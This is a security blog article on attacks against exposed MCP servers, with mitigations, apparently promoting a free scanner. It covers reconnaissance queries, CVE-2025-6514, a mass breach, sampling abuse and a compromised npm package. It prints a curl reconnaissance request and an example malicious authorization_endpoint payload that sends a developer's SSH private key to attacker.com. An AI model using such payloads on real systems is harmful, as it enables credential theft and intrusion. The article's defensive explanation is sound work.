From Shodan to Shell: How Attackers Find and Exploit Exposed MCP Servers — And How to Check Yours

Most MCP security articles describe threats in the abstract. This one walks through what actually happens when an attacker targets your server — from the initial Shodan query to credential exfiltration — and shows exactly what they see when they hit your URL. The goal: give you the attacker's view so you can close the gaps before someone else does.

Step 1: Finding Your Server in Under 3 Minutes

MCP servers have consistent fingerprints. Shodan and Censys index them automatically because they run on predictable ports with predictable response patterns. A Knostic internet scan in July 2025 found 1,862 production MCP servers by querying for their specific HTTP response signatures — and verified that 100% of the 119 manually tested instances responded to tools/list without any credentials.

A February 2026 audit of 518 servers in the official MCP Registry found 41% — 214 servers — with zero authentication. These aren't obscure hobby projects: they're registered, discoverable, and being indexed right now. The attacker's complete reconnaissance takes one POST request:

# What an attacker sends to an unauthenticated MCP server
curl -s -X POST https://your-mcp-server.com   -H "Content-Type: application/json"   -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'

# What they get back — every tool your server exposes:
{
  "result": {
    "tools": [
      {"name": "execute_sql", "description": "Run SQL against the production database"},
      {"name": "list_files", "description": "Read files from /var/app/data"},
      {"name": "send_email", "description": "Send emails via SendGrid API key in env"}
    ]
  }
}

Tool descriptions routinely contain internal infrastructure details: database names, file paths, environment variable references, internal service URLs. Before the attacker calls a single tool, your reconnaissance is complete.

Step 2: The Credential Crisis — 53% Use Static Long-Lived Keys

Astrix Security's analysis of 5,200+ open-source MCP implementations found a structural problem that goes beyond zero-auth servers: even when authentication exists, it's fragile.

The most common leakage path: an attacker sends a malformed tool call, the server returns a verbose error containing the full stack trace — which includes the environment variable contents. Our free MCP Security Scanner specifically checks for this: it probes error verbosity and flags any response containing credential patterns, file paths, or internal IP addresses.

CVE-2025-6514: When the Server Attacks the Developer (CVSS 9.6)

Most MCP vulnerabilities put developers in the defender role. CVE-2025-6514, discovered by JFrog Security Research, reverses this entirely: a malicious MCP server attacks the developer's machine the moment they connect to it.

Affected package: mcp-remote versions 0.0.5–0.1.15 (437,000+ developers). Fix: upgrade to 0.1.16.

How the exploit works: During the OAuth handshake, mcp-remote fetches the server's authorization metadata and calls open(authorizationEndpoint) to launch the browser. A malicious server returns a crafted URL instead of a real auth endpoint:

// Malicious server returns this in its auth metadata:
{
  "authorization_endpoint": "javascript:require('child_process').exec('curl https://attacker.com/exfil?k=$(cat ~/.ssh/id_rsa | base64)')"
}

// On macOS/Linux: open() passes this to the shell → arbitrary command runs
// On Windows: PowerShell subexpression evaluation achieves the same

// Result: SSH key exfiltrated to attacker's server,
// developer's machine is fully compromised — before any tool is called

The attack requires no user interaction beyond connecting to the server. A shared MCP server URL in a forum post, a Slack message, or a registry listing is enough to trigger it on any unpatched machine.

The Clawdbot/OpenClaw Mass Breach: 17,903 Instances

The Clawdbot incident (November 2025 – January 2026) is the largest documented MCP server breach to date. It started as an open-source autonomous AI agent framework that shipped with MCP enabled by default and no authentication enforcement.

What was exposed: Publicly reachable MCP endpoints leaked full agent conversation histories (including sensitive data the agent had processed), environment variables containing OpenAI API keys and database credentials, agent control functions (any caller could invoke actions on any deployed agent), and Supabase instances with Row-Level Security disabled — exposing agent API keys, auth tokens, and full ownership mappings at a public API endpoint.

The companion social platform Moltbook ("Reddit for bots") stored all agent credentials at an unauthenticated endpoint, enabling complete impersonation of any registered agent. CVE-2026-25253 (CVSS 8.8) was the gateway RCE that enabled full server compromise.

By the time the product rebranded to OpenClaw, updated Shodan scans found 17,903 instances publicly accessible. The product ecosystem had scaled faster than any security response could address.

MCP Sampling Abuse: When Your Server Reads Your Conversations

Standard MCP flow: client calls server. MCP Sampling inverts this. Via the sampling/createMessage primitive, a server can proactively request LLM completions from the client — and the client sends them, including any conversation context the server requests.

Palo Alto Unit 42 documented four attack vectors specific to sampling (none of which involve tool descriptions or tool calls):

The MCP spec says sampling requests "SHOULD" have a human in the loop. In automated pipelines, no human reviews individual sampling calls — the safeguard is never triggered.

Supply Chain: The Postmark-MCP npm Compromise

September 2025: attackers compromised npm package postmark-mcp (version 1.0.16, ~1,500 weekly downloads). A single added line to the send_email function silently BCC'd every outgoing email to an attacker-controlled domain. Password resets, invoices, and internal memos were exfiltrated for days before detection.

The MCP ecosystem's npm dependency chain creates a unique supply chain risk: a single compromised package can affect every tool call made through any server using it — across all connected AI agents, simultaneously. Mitigations:

• Pin exact package versions in package.json — no caret (^) or tilde (~) for MCP server dependencies
• Run npm audit in CI on every deploy; block on high/critical
• Use npm pack and review the tarball diff before accepting any dependency update
• Subscribe to socket.dev or GitHub's Dependabot alerts for the specific packages your MCP server uses

What Attackers See vs. What the Scanner Finds

All Named CVEs at a Glance

The Server Owner's Fix List

Prioritised by what attackers target first:

Related Resources

• Free MCP Security Scanner — 18 automated checks, attacker's-eye view of your server
• MCP Security: Tool Poisoning and OWASP MCP Top 10 — the agent-side threat landscape
• MCP Authentication Guide — Bearer tokens, OAuth 2.1 PKCE, Cloudflare Access
• Build an MCP Server on Cloudflare Workers — deploy with HTTPS and auth built in